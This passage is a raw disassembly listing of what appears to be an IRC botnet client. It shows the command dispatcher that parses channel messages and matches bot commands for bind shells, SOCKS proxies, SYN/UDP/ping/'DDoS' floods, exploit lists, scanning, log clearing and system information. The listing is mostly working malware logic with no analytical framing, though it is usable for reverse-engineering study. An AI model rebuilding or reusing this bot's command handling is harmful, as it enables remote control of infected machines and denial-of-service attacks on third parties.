		mov	eax, [ebp+var_90]
		inc	eax
		push	eax
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s\r\n"
		jmp	loc_402071
; ---------------------------------------------------------------------------


loc_4022CD:				; CODE XREF: sub_401CC1+577j
		push	esi
		push	offset aPrivmsg	; "PRIVMSG"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402310
		push	esi
		push	offset aNotice	; "NOTICE"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402310
		push	esi
		push	offset a332	; "332"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_408CA1
		cmp	dword_43A088, ebx
		jz	loc_408CA1


loc_402310:				; CODE XREF: sub_401CC1+61Bj
					; sub_401CC1+62Cj
		push	esi
		push	offset aPrivmsg_0 ; "PRIVMSG"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40241A
		push	esi
		push	offset aNotice_0 ; "NOTICE"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40241A
		mov	eax, [ebp+var_84]
		inc	[ebp+var_80]
		mov	[ebp+var_A4], 4
		mov	[ebp+var_88], eax


loc_402353:				; CODE XREF: sub_401CC1+815j
					; sub_401CC1+84Bj ...
		mov	eax, [ebp+var_A4]
		mov	esi, eax
		shl	esi, 2
		mov	ecx, [ebp+esi+var_90]
		lea	eax, [ebp+esi+var_90]
		lea	edi, [ecx+1]
		mov	[eax], edi
		mov	al, [ecx]
		cmp	al, byte_43A094
		mov	[ebp+arg_C], edi
		jnz	loc_40207C
		push	edi
		push	offset aLogin	; "login"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CA9
		push	edi
		push	offset aHi	; "hi"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CA9
		cmp	[ebp+var_A8], ebx
		jnz	short loc_4023CE
		push	[ebp+var_8C]
		push	offset a332_3	; "332"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_408CA1


loc_4023CE:				; CODE XREF: sub_401CC1+6F1j
		cmp	[ebp+arg_28], ebx
		jnz	loc_408CA1
		cmp	dword_43C6A4, ebx
		mov	[ebp+arg_8], ebx
		jle	loc_4026B0
		mov	[ebp+arg_20], offset dword_452A48


loc_4023ED:				; CODE XREF: sub_401CC1+752j
		push	edi
		push	[ebp+arg_20]
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_402539
		inc	[ebp+arg_8]
		add	[ebp+arg_20], 0B8h
		mov	eax, [ebp+arg_8]
		cmp	eax, dword_43C6A4
		jl	short loc_4023ED
		jmp	loc_4026B0
; ---------------------------------------------------------------------------


loc_40241A:				; CODE XREF: sub_401CC1+65Ej
					; sub_401CC1+673j
		push	esi
		push	offset aNotice_1 ; "NOTICE"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402432
		mov	[ebp+var_4], 1


loc_402432:				; CODE XREF: sub_401CC1+768j
		mov	edi, [ebp+var_88]
		cmp	edi, ebx
		jz	loc_40207C
		push	offset asc_4416FC ; "#"
		push	edi
		call	sub_41B890
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402456
		cmp	[ebp+var_4], ebx
		jz	short loc_402462


loc_402456:				; CODE XREF: sub_401CC1+78Ej
		lea	edi, [ebp+var_C0]
		mov	[ebp+var_88], edi


loc_402462:				; CODE XREF: sub_401CC1+793j
		cmp	[ebp+var_84], ebx
		jz	loc_40207C
		inc	[ebp+var_84]
		jz	short loc_4024AC
		cmp	[ebp+arg_10], ebx
		jz	short loc_4024AC
		lea	eax, [ebp+var_338]
		push	eax
		call	sub_418D00
		push	eax
		lea	eax, [ebp+var_338]
		push	[ebp+var_84]
		push	eax
		call	sub_41C2C0
		add	esp, 10h
		neg	eax
		sbb	eax, eax
		add	eax, 4
		mov	[ebp+var_A4], eax
		jmp	short loc_4024B2
; ---------------------------------------------------------------------------


loc_4024AC:				; CODE XREF: sub_401CC1+7B3j
					; sub_401CC1+7B8j
		mov	eax, [ebp+var_A4]


loc_4024B2:				; CODE XREF: sub_401CC1+7E9j
		shl	eax, 2
		mov	[ebp+arg_8], eax
		mov	esi, [ebp+eax+var_90]
		cmp	esi, ebx
		jz	loc_40207C
		push	esi
		push	offset dword_441700
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402353
		cmp	byte ptr [edi],	23h
		jz	short loc_4024FD
		mov	eax, dword_4E074C
		mov	eax, off_43A158[eax*4]
		cmp	[eax], bl
		jz	short loc_4024FD
		push	eax
		push	edi
		push	offset dword_44170C
		jmp	loc_402071
; ---------------------------------------------------------------------------


loc_4024FD:				; CODE XREF: sub_401CC1+81Ej
					; sub_401CC1+82Ej
		push	esi
		push	offset dword_441728
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402353
		mov	eax, [ebp+arg_8]
		mov	eax, [ebp+eax+var_8C]
		cmp	eax, ebx
		jz	loc_402353
		cmp	byte ptr [edi],	23h
		jz	loc_402353
		push	eax
		push	edi
		push	offset dword_441730
		jmp	loc_402071
; ---------------------------------------------------------------------------


loc_402539:				; CODE XREF: sub_401CC1+739j
		push	offset asc_4418A0 ; " :"
		push	[ebp+arg_0]
		call	sub_41B890
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_40207C
		mov	edi, [ebp+arg_8]
		mov	cl, byte_43A094
		imul	edi, 0B8h
		mov	[eax+2], cl
		mov	cl, byte_43A094
		mov	[eax+3], cl
		lea	ecx, dword_452A60[edi]
		push	9Fh
		add	eax, 4
		push	ecx
		push	eax
		call	sub_41B1F0
		lea	eax, [ebp+esi+var_50]
		add	esp, 0Ch
		mov	[ebp+arg_8], 0Fh
		mov	[ebp+arg_20], eax


loc_402591:				; CODE XREF: sub_401CC1+981j
		push	[ebp+arg_8]
		lea	eax, [ebp+var_A0]
		push	offset aD_0	; "$%d-"
		push	eax
		call	sub_41B740
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41B890
		add	esp, 14h
		test	eax, eax
		jz	short loc_4025FD
		mov	eax, [ebp+arg_20]
		cmp	[eax], ebx
		jz	short loc_4025FD
		lea	eax, dword_452A48[edi]
		push	eax
		call	sub_418D00
		add	[ebp+var_C], eax
		pop	ecx
		jz	short loc_402638
		mov	eax, [ebp+arg_20]
		push	dword ptr [eax-4]
		push	[ebp+var_C]
		call	sub_41B890
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_402638
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_415C6E
		add	esp, 0Ch
		jmp	short loc_402638
; ---------------------------------------------------------------------------


loc_4025FD:				; CODE XREF: sub_401CC1+8F8j
					; sub_401CC1+8FFj
		mov	eax, [ebp+arg_20]
		cmp	[eax], ebx
		jnz	short loc_402638
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41B1F0
		lea	eax, [ebp+var_94]
		mov	[ebp+var_92], bl
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_415C6E
		add	esp, 18h


loc_402638:				; CODE XREF: sub_401CC1+911j
					; sub_401CC1+925j ...
		dec	[ebp+arg_8]
		sub	[ebp+arg_20], 4
		cmp	[ebp+arg_8], ebx
		jg	loc_402591
		lea	eax, [ebp+esi+var_50]
		mov	[ebp+arg_8], 10h
		mov	edi, eax


loc_402655:				; CODE XREF: sub_401CC1+9E0j
		push	[ebp+arg_8]
		lea	eax, [ebp+var_A0]
		push	offset aD_1	; "$%d"
		push	eax
		call	sub_41B740
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41B890
		add	esp, 14h
		test	eax, eax
		jz	short loc_402698
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_402698
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_415C6E
		add	esp, 0Ch


loc_402698:				; CODE XREF: sub_401CC1+9BCj
					; sub_401CC1+9C2j
		dec	[ebp+arg_8]
		sub	edi, 4
		cmp	[ebp+arg_8], ebx
		jg	short loc_402655
		mov	edi, [ebp+arg_C]
		mov	[ebp+var_2C4], 1


loc_4026B0:				; CODE XREF: sub_401CC1+71Fj
					; sub_401CC1+754j
		mov	al, [edi]
		cmp	al, byte_43A094
		jz	short loc_4026C6
		cmp	[ebp+var_2C4], ebx
		jz	loc_4028BB


loc_4026C6:				; CODE XREF: sub_401CC1+9F7j
		push	[ebp+arg_10]
		mov	edi, [ebp+arg_0]
		push	offset aMe	; "$me"
		push	edi
		call	sub_415C6E
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset aUser_6	; "$user"
		push	edi
		call	sub_415C6E
		push	[ebp+var_88]
		push	offset aChan	; "$chan"
		push	edi
		call	sub_415C6E
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40A4F6
		push	eax
		push	offset aRndnick_0 ; "$rndnick"
		push	edi
		call	sub_415C6E
		add	esp, 40h
		push	[ebp+arg_14]
		push	offset aServer_8 ; "$server"
		push	edi
		call	sub_415C6E
		mov	edi, offset aChr ; "$chr("
		push	edi
		push	[ebp+arg_0]
		call	sub_41B890
		add	esp, 14h


loc_402738:				; CODE XREF: sub_401CC1+B73j
		test	eax, eax
		jz	loc_402839
		push	offset aChr_0	; "$chr("
		push	[ebp+arg_0]
		call	sub_41B890
		mov	[ebp+arg_10], eax
		add	eax, 5
		push	4
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41B1F0
		lea	eax, [ebp+var_A0]
		push	offset asc_4418E8 ; ")"
		push	eax
		call	sub_41C550
		add	esp, 1Ch
		cmp	[ebp+var_A0], 30h
		jl	short loc_402788
		cmp	[ebp+var_A0], 39h
		jle	short loc_40279E


loc_402788:				; CODE XREF: sub_401CC1+ABCj
		push	3
		lea	eax, [ebp+var_A0]
		push	offset a63	; "63"
		push	eax
		call	sub_41B1F0
		add	esp, 0Ch


loc_40279E:				; CODE XREF: sub_401CC1+AC5j
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41B3F0
		test	eax, eax
		pop	ecx
		jle	short loc_4027C4
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41B3F0
		pop	ecx
		mov	[ebp+var_94], al
		jmp	short loc_4027D8
; ---------------------------------------------------------------------------


loc_4027C4:				; CODE XREF: sub_401CC1+AECj
		call	sub_41B850
		push	60h
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 20h
		mov	[ebp+var_94], dl


loc_4027D8:				; CODE XREF: sub_401CC1+B01j
		lea	eax, [ebp+var_A0]
		mov	[ebp+var_93], bl
		push	eax
		call	sub_418D00
		mov	[ebp+arg_8], eax
		push	0Ch
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_41B190
		mov	eax, [ebp+arg_8]
		add	eax, 6
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B1F0
		lea	eax, [ebp+var_94]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_415C6E
		push	edi
		push	[ebp+arg_0]
		call	sub_41B890
		add	esp, 30h
		jmp	loc_402738
; ---------------------------------------------------------------------------


loc_402839:				; CODE XREF: sub_401CC1+A79j
		mov	edi, 1FFh
		lea	eax, [ebp+var_39E8]
		push	edi
		push	[ebp+arg_0]
		push	eax
		call	sub_41B1F0
		lea	eax, [ebp+var_39E8]
		push	edi
		push	eax
		lea	eax, [ebp+var_3E4C]
		push	eax
		call	sub_41B1F0
		lea	eax, [ebp+var_3E4C]
		push	offset asc_4418F0 ; " "
		push	eax
		call	sub_41C550
		add	esp, 20h
		mov	[ebp+var_90], eax
		lea	edi, [ebp+var_8C]
		mov	[ebp+arg_10], 1Fh


loc_402889:				; CODE XREF: sub_401CC1+BDDj
		push	offset asc_4418F4 ; " "
		push	ebx
		call	sub_41C550
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+arg_10]
		pop	ecx
		jnz	short loc_402889
		mov	ecx, [ebp+esi+var_90]
		lea	eax, [ebp+esi+var_90]
		cmp	ecx, ebx
		jz	loc_40207C
		add	ecx, 3
		mov	[eax], ecx


loc_4028BB:				; CODE XREF: sub_401CC1+9FFj
		mov	edi, [ebp+esi+var_90]
		push	edi
		push	offset aRndnick	; "rndnick"
		mov	[ebp+arg_10], edi
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C54
		push	edi
		push	offset aRn	; "rn"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C54
		push	edi
		push	offset aDie	; "die"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404638
		push	edi
		push	offset aD_2	; "d"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404638
		push	edi
		push	offset aLogout	; "logout"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404596
		push	edi
		push	offset aLo	; "lo"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404596
		push	edi
		push	offset aDedication ; "dedication"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40458C
		push	edi
		push	offset aDed	; "ded"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40458C
		push	edi
		push	offset aSpeedtest ; "speedtest"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404573
		push	edi
		push	offset aSt	; "st"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404573
		push	edi
		push	offset aBindshell ; "bindshell"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40446D
		push	edi
		push	offset aBd	; "bd"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40446D
		push	edi
		push	offset aBindshellstop ;	"bindshellstop"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402A01
		push	[ebp+esi+var_8C]
		push	6
		push	offset aServer_0 ; "Server"
		push	offset dword_441B48


loc_4029E5:				; CODE XREF: sub_401CC1+D8Ej
					; sub_401CC1+DB4j ...
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40AA8B
		add	esp, 20h
		jmp	loc_40207C
; ---------------------------------------------------------------------------


loc_402A01:				; CODE XREF: sub_401CC1+D0Fj
		push	edi
		push	offset aSocks4	; "socks4"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40434B
		push	edi
		push	offset aS4	; "s4"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40434B
		push	edi
		push	offset aSocks4stop ; "socks4stop"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402A51
		push	[ebp+esi+var_8C]
		push	19h
		push	offset aServer_1 ; "Server"
		push	offset dword_441BE0
		jmp	short loc_4029E5
; ---------------------------------------------------------------------------


loc_402A51:				; CODE XREF: sub_401CC1+D79j
		push	edi
		push	offset aRloginstop ; "rloginstop"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402A7A
		push	[ebp+esi+var_8C]
		push	9
		push	offset aServer_2 ; "Server"
		push	offset dword_441C04
		jmp	loc_4029E5
; ---------------------------------------------------------------------------


loc_402A7A:				; CODE XREF: sub_401CC1+D9Fj
		push	edi
		push	offset aHttpstop ; "httpstop"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402AA3
		push	[ebp+esi+var_8C]
		push	3
		push	offset aServer_3 ; "Server"
		push	offset dword_441C28
		jmp	loc_4029E5
; ---------------------------------------------------------------------------


loc_402AA3:				; CODE XREF: sub_401CC1+DC8j
		push	edi
		push	offset aLogstop	; "logstop"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402ACC
		push	[ebp+esi+var_8C]
		push	25h
		push	offset aLogList	; "Log list"
		push	offset dword_441C4C
		jmp	loc_4029E5
; ---------------------------------------------------------------------------


loc_402ACC:				; CODE XREF: sub_401CC1+DF1j
		push	edi
		push	offset aRedirectstop ; "redirectstop"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402AF5
		push	[ebp+esi+var_8C]
		push	18h
		push	offset aTcpRedirect ; "TCP redirect"
		push	offset dword_441C78
		jmp	loc_4029E5
; ---------------------------------------------------------------------------


loc_402AF5:				; CODE XREF: sub_401CC1+E1Aj
		push	edi
		push	offset dword_441C88
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B1E
		push	[ebp+esi+var_8C]
		push	0Dh
		push	offset dword_441C94
		push	offset dword_441CA0
		jmp	loc_4029E5
; ---------------------------------------------------------------------------


loc_402B1E:				; CODE XREF: sub_401CC1+E43j
		push	edi
		push	offset aSynstop	; "synstop"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B47
		push	[ebp+esi+var_8C]
		push	0Eh
		push	offset aSynFlood ; "Syn	flood"
		push	offset dword_441CC0
		jmp	loc_4029E5
; ---------------------------------------------------------------------------


loc_402B47:				; CODE XREF: sub_401CC1+E6Cj
		push	edi
		push	offset aSkysynstop ; "skysynstop"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B70
		push	[ebp+esi+var_8C]
		push	10h
		push	offset aSkysynFlood ; "SkySyn flood"
		push	offset dword_441CE8
		jmp	loc_4029E5
; ---------------------------------------------------------------------------


loc_402B70:				; CODE XREF: sub_401CC1+E95j
		push	edi
		push	offset aTarga3stop ; "targa3stop"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B99
		push	[ebp+esi+var_8C]
		push	11h
		push	offset aTarga3Flood ; "Targa3 flood"
		push	offset dword_441D14
		jmp	loc_4029E5
; ---------------------------------------------------------------------------


loc_402B99:				; CODE XREF: sub_401CC1+EBEj
		push	edi
		push	offset aWonkstop ; "wonkstop"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BC2
		push	[ebp+esi+var_8C]
		push	12h
		push	offset aWonkFlood ; "Wonk flood"
		push	offset dword_441D3C
		jmp	loc_4029E5
; ---------------------------------------------------------------------------


loc_402BC2:				; CODE XREF: sub_401CC1+EE7j
		push	edi
		push	offset aPacketstop ; "packetstop"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402CFD
		mov	esi, [ebp+esi+var_8C]
		mov	edi, [ebp+var_88]
		push	esi
		push	0Dh
		push	offset aDdosFlood ; "DDoS flood"
		push	offset dword_441D60
		push	1
		push	[ebp+var_4]
		push	edi
		push	[ebp+arg_4]
		call	sub_40AA8B
		push	esi
		push	0Eh
		push	offset dword_441D6C
		push	offset dword_441D78
		push	1
		push	[ebp+var_4]
		push	edi
		push	[ebp+arg_4]
		call	sub_40AA8B
		add	esp, 40h
		push	esi
		push	17h
		push	offset dword_441D84
		push	offset dword_441D90
		push	1
		push	[ebp+var_4]
		push	edi
		push	[ebp+arg_4]
		call	sub_40AA8B
		push	esi
		push	16h
		push	offset dword_441D9C
		push	offset dword_441DA8
		push	1
		push	[ebp+var_4]
		push	edi
		push	[ebp+arg_4]
		call	sub_40AA8B
		add	esp, 40h
		push	esi
		push	11h
		push	offset dword_441DB4
		push	offset dword_441DC4
		push	1
		push	[ebp+var_4]
		push	edi
		push	[ebp+arg_4]
		call	sub_40AA8B
		push	esi
		push	12h
		push	offset dword_441DD4
		push	offset dword_441DE0
		push	1
		push	[ebp+var_4]
		push	edi
		push	[ebp+arg_4]
		call	sub_40AA8B
		add	esp, 40h
		push	esi
		push	0Fh
		push	offset dword_441DEC
		push	offset dword_441DFC
		push	1
		push	[ebp+var_4]
		push	edi
		push	[ebp+arg_4]
		call	sub_40AA8B
		push	esi
		push	13h
		push	offset dword_441E0C
		push	offset dword_441E1C
		push	1
		push	[ebp+var_4]
		push	edi
		push	[ebp+arg_4]
		call	sub_40AA8B
		add	esp, 40h
		push	esi
		push	10h
		push	offset dword_441E2C
		push	offset dword_441E3C
		push	1
		push	[ebp+var_4]
		push	edi
		push	[ebp+arg_4]
		call	sub_40AA8B
		push	ebx
		push	[ebp+var_4]
		push	offset unk_441E4C
		push	edi
		push	[ebp+arg_4]
		call	sub_408EB9
		add	esp, 34h
		jmp	loc_40207C
; ---------------------------------------------------------------------------


loc_402CFD:				; CODE XREF: sub_401CC1+F10j
		push	edi
		push	offset aTsunamistop ; "tsunamistop"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402D26
		push	[ebp+esi+var_8C]
		push	0Fh
		push	offset aTsunamiFlood ; "Tsunami	flood"
		push	offset dword_441E9C
		jmp	loc_4029E5
; ---------------------------------------------------------------------------


loc_402D26:				; CODE XREF: sub_401CC1+104Bj
		push	edi
		push	offset aWisdomstop ; "wisdomstop"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402D4F
		push	[ebp+esi+var_8C]
		push	13h
		push	offset aWisdomAttack ; "Wisdom attack"
		push	offset dword_441EC8
		jmp	loc_4029E5
; ---------------------------------------------------------------------------


loc_402D4F:				; CODE XREF: sub_401CC1+1074j
		push	edi
		push	offset aUdpstop	; "udpstop"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402D78
		push	[ebp+esi+var_8C]
		push	17h
		push	offset aUdpFlood ; "UDP	flood"
		push	offset dword_441EEC
		jmp	loc_4029E5
; ---------------------------------------------------------------------------


loc_402D78:				; CODE XREF: sub_401CC1+109Dj
		push	edi
		push	offset aPingstop ; "pingstop"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402DA1
		push	[ebp+esi+var_8C]
		push	16h
		push	offset aPingFlood ; "Ping flood"
		push	offset dword_441F10
		jmp	loc_4029E5
; ---------------------------------------------------------------------------


loc_402DA1:				; CODE XREF: sub_401CC1+10C6j
		push	edi
		push	offset aTftpstop ; "tftpstop"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402DCA
		push	[ebp+esi+var_8C]
		push	5
		push	offset aServer_4 ; "Server"
		push	offset dword_441F30
		jmp	loc_4029E5
; ---------------------------------------------------------------------------


loc_402DCA:				; CODE XREF: sub_401CC1+10EFj
		push	edi
		push	offset aProcsstop ; "procsstop"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404333
		push	edi
		push	offset aPsstop	; "psstop"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404333
		push	edi
		push	offset aClonestop ; "clonestop"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402E1D
		push	[ebp+esi+var_8C]
		push	1Fh
		push	offset aClone	; "Clone"
		push	offset dword_441F88
		jmp	loc_4029E5
; ---------------------------------------------------------------------------


loc_402E1D:				; CODE XREF: sub_401CC1+1142j
		push	edi
		push	offset aSecurestop ; "securestop"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402E46
		push	[ebp+esi+var_8C]
		push	22h
		push	offset aSecure	; "Secure"
		push	offset dword_441FAC
		jmp	loc_4029E5
; ---------------------------------------------------------------------------


loc_402E46:				; CODE XREF: sub_401CC1+116Bj
		push	edi
		push	offset aScanstop ; "scanstop"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402E6F
		push	[ebp+esi+var_8C]
		push	0Bh
		push	offset aScan_0	; "Scan"
		push	offset dword_441FD0
		jmp	loc_4029E5
; ---------------------------------------------------------------------------


loc_402E6F:				; CODE XREF: sub_401CC1+1194j
		push	edi
		push	offset aScanstats ; "scanstats"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40431D
		push	edi
		push	offset aStats	; "stats"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40431D
		push	edi
		push	offset aTransferstats ;	"transferstats"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404307
		push	edi
		push	offset aTrstats	; "trstats"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404307
		push	edi
		push	offset aConnectbacksta ; "connectbackstats"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4042F1
		push	edi
		push	offset aCbstats	; "cbstats"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4042F1
		push	edi
		push	offset aExploitlist ; "exploitlist"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4042DB
		push	edi
		push	offset aExplist	; "explist"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4042DB
		push	edi
		push	offset aReconnect ; "reconnect"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4042BC
		push	edi
		push	offset aR	; "r"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4042BC
		push	edi
		push	offset aDisconnect ; "disconnect"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40429A
		push	edi
		push	offset aDc	; "dc"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40429A
		push	edi
		push	offset aQuit_0	; "quit"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404252
		push	edi
		push	offset aQ	; "q"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404252
		push	edi
		push	offset aStatus	; "status"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404214
		push	edi
		push	offset aS	; "s"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404214
		push	edi
		push	offset aId	; "id"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041DD
		push	edi
		push	offset aI_1	; "i"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041DD
		push	edi
		push	offset aReboot	; "reboot"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40303B
		call	sub_416138
		test	eax, eax
		mov	eax, offset unk_442148
		jnz	short loc_40300D
		mov	eax, offset unk_442168


loc_40300D:				; CODE XREF: sub_401CC1+1345j
		push	eax
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_41B740
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408EB9
		add	esp, 1Ch
		jmp	loc_407C50
; ---------------------------------------------------------------------------


loc_40303B:				; CODE XREF: sub_401CC1+1337j
		push	edi
		push	offset aThreads	; "threads"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040EF
		push	edi
		push	offset aT	; "t"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040EF
		push	edi
		push	offset aAliases	; "aliases"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040CC
		push	edi
		push	offset aAl	; "al"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040CC
		push	edi
		push	offset aLo0g	; "lo0g"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FDC
		push	edi
		push	offset aL0g	; "l0g"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FDC
		push	edi
		push	offset aClearlog ; "clearlog"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FC3
		push	edi
		push	offset aClg	; "clg"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FC3
		push	edi
		push	offset aNetinfo	; "netinfo"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F89
		push	edi
		push	offset aNi	; "ni"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F89
		push	edi
		push	offset aSysinfo	; "sysinfo"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F5E
		push	edi
		push	offset aSi	; "si"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F5E
		push	edi
		push	offset aRemov10e ; "remov10e"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F24
		push	edi
		push	offset aR010m	; "r010m"
		call	sub_41C4C0
		pop	ecx
